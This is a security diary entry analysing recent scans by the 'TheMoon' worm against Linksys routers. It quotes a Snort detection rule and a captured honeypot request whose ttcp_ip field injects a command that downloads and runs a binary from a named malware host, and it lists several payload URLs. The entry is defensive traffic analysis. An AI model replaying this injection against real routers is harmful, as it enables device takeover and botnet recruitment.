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Are We Going Back to TheMoon (and How is Liquor Involved)?

Published: 2019-11-11
Last Updated: 2019-11-11 19:24:50 UTC
by Johannes Ullrich (Version: 1)
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Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to 'The Moon.' These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the "Moon" worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of "TheMoon" alerts in my logs. The one that fires the most is snort ID 29831: "SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt."
"TheMoon" infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([\x60\x3b\x7c]|[\x3c\x3e\x24]\x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the "tmUnblock/ttcp_ip" issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn't have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn't able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can't hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.

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Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
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Keywords: linksys themoon
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